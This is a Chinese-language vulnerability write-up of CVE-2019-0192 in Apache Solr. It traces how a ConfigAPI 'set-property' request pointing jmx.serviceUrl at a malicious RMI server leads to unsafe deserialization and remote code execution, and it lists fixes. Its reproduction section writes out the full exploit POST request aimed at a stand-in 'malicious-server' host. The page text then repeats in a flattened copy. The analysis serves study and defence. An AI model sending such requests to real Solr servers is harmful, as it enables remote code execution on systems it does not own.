Apache Solr RCE—【CVE-2019-0192】
字数 1692 2025-08-29 08:32:02

Apache Solr RCE漏洞分析(CVE-2019-0192)

漏洞概述

漏洞名称:Apache Solr远程代码执行漏洞(CVE-2019-0192)
影响版本

  • 5.0.0至5.5.5
  • 6.0.0至6.6.5
    安全版本:7.0及以上
    漏洞类型:不安全的反序列化导致的远程代码执行
    漏洞描述:通过ConfigAPI配置Solr的JMX服务器时,如果指向恶意的RMI服务器,攻击者可利用Solr的不安全反序列化机制在Solr端触发远程代码执行。

漏洞原理分析

触发流程

完整的漏洞触发调用栈如下:

  1. org.apache.solr.handler.SolrConfigHandler#handleRequestBody
  2. org.apache.solr.handler.SolrConfigHandler.Command#handlePOST
  3. org.apache.solr.handler.SolrConfigHandler.Command#applySetProp
  4. org.apache.solr.core.CoreContainer#reload
  5. org.apache.solr.core.SolrConfig#SolrConfig
  6. org.apache.solr.core.SolrCore#reload
  7. org.apache.solr.core.SolrCore#SolrCore
  8. org.apache.solr.core.SolrCore#initInfoRegistry
  9. org.apache.solr.core.JmxMonitoredMap#JmxMonitoredMap
  10. javax.management.remote.JMXConnectorServerMBean#start

详细分析

  1. 请求处理入口

    • 访问路径/config进入SolrConfigHandler#handleRequestBody
    • POST请求会进入handlePOST函数处理
  2. 配置修改流程

    • handlePOST中,会进入handleCommands函数
    • 通过set-property操作调用applySetProp函数
    • applySetProp将POST参数处理后生成新的ConfigOverlay对象
    • 配置信息被持久化存储到configoverlay.json文件中
  3. 服务重载流程

    • 调用reload函数重启服务器
    • 重新加载所有配置文件,包括刚修改的configoverlay.json
    • SolrConfig构造函数中,使用配置参数创建JmxConfiguration对象
  4. JMX触发点

    • JmxMonitoredMap的构造函数中进行JMX监控操作
    • 最终调用javax.management.remote.JMXConnectorServerMBean#start
    • 底层通过RMI协议与恶意服务器交互,触发反序列化漏洞

关键代码点

  1. JMX配置触发

    // SolrConfig构造函数中
    jmxConfig = new JmxConfiguration(enable, port, serviceUrl, authentication);
    
  2. RMI连接建立

    • JmxMonitoredMap的else代码块中调用JMXConnectorServer#start
    • 实际转向javax.management.remote.rmi.RMIConnectorServer#start
    • 当检测到JNDI字符串在协议开头时,调用bind方法进行远程服务器绑定

漏洞复现

复现环境

  • Solr版本:5.0.0-5.5.5或6.0.0-6.6.5
  • JDK版本:存在反序列化漏洞的版本(如jdk-7u21)

复现步骤

  1. 启动Solr:

    ./solr -e techproducts -Dcom.sun.management.jmxremote
    
  2. 构造恶意POST请求:

    POST /solr/[core]/config HTTP/1.1
    Host: target:8983
    Content-Type: application/json
    
    {
      "set-property": {
        "jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://malicious-server:1099/exploit"
      }
    }
    
  3. 恶意RMI服务器:

    • 搭建包含恶意序列化payload的RMI服务器
    • 等待Solr服务器连接并触发反序列化

修复方案

  1. 升级到Solr 7.0或更高版本
  2. 临时缓解措施:
    • 禁用ConfigAPI的写权限
    • 限制JMX端口的网络访问
    • 使用安全组或防火墙规则限制Solr的对外连接

参考链接

  1. 漏洞详情
  2. 漏洞POC
  3. 官方补丁
  4. ConfigAPI文档
Apache Solr RCE漏洞分析(CVE-2019-0192) 漏洞概述 漏洞名称 :Apache Solr远程代码执行漏洞(CVE-2019-0192) 影响版本 : 5.0.0至5.5.5 6.0.0至6.6.5 安全版本 :7.0及以上 漏洞类型 :不安全的反序列化导致的远程代码执行 漏洞描述 :通过ConfigAPI配置Solr的JMX服务器时,如果指向恶意的RMI服务器,攻击者可利用Solr的不安全反序列化机制在Solr端触发远程代码执行。 漏洞原理分析 触发流程 完整的漏洞触发调用栈如下: org.apache.solr.handler.SolrConfigHandler#handleRequestBody org.apache.solr.handler.SolrConfigHandler.Command#handlePOST org.apache.solr.handler.SolrConfigHandler.Command#applySetProp org.apache.solr.core.CoreContainer#reload org.apache.solr.core.SolrConfig#SolrConfig org.apache.solr.core.SolrCore#reload org.apache.solr.core.SolrCore#SolrCore org.apache.solr.core.SolrCore#initInfoRegistry org.apache.solr.core.JmxMonitoredMap#JmxMonitoredMap javax.management.remote.JMXConnectorServerMBean#start 详细分析 请求处理入口 : 访问路径 /config 进入 SolrConfigHandler#handleRequestBody POST请求会进入 handlePOST 函数处理 配置修改流程 : 在 handlePOST 中,会进入 handleCommands 函数 通过 set-property 操作调用 applySetProp 函数 applySetProp 将POST参数处理后生成新的 ConfigOverlay 对象 配置信息被持久化存储到 configoverlay.json 文件中 服务重载流程 : 调用 reload 函数重启服务器 重新加载所有配置文件,包括刚修改的 configoverlay.json 在 SolrConfig 构造函数中,使用配置参数创建 JmxConfiguration 对象 JMX触发点 : 在 JmxMonitoredMap 的构造函数中进行JMX监控操作 最终调用 javax.management.remote.JMXConnectorServerMBean#start 底层通过RMI协议与恶意服务器交互,触发反序列化漏洞 关键代码点 JMX配置触发 : RMI连接建立 : 在 JmxMonitoredMap 的else代码块中调用 JMXConnectorServer#start 实际转向 javax.management.remote.rmi.RMIConnectorServer#start 当检测到JNDI字符串在协议开头时,调用 bind 方法进行远程服务器绑定 漏洞复现 复现环境 Solr版本:5.0.0-5.5.5或6.0.0-6.6.5 JDK版本:存在反序列化漏洞的版本(如jdk-7u21) 复现步骤 启动Solr: 构造恶意POST请求: 恶意RMI服务器: 搭建包含恶意序列化payload的RMI服务器 等待Solr服务器连接并触发反序列化 修复方案 升级到Solr 7.0或更高版本 临时缓解措施: 禁用ConfigAPI的写权限 限制JMX端口的网络访问 使用安全组或防火墙规则限制Solr的对外连接 参考链接 漏洞详情 漏洞POC 官方补丁 ConfigAPI文档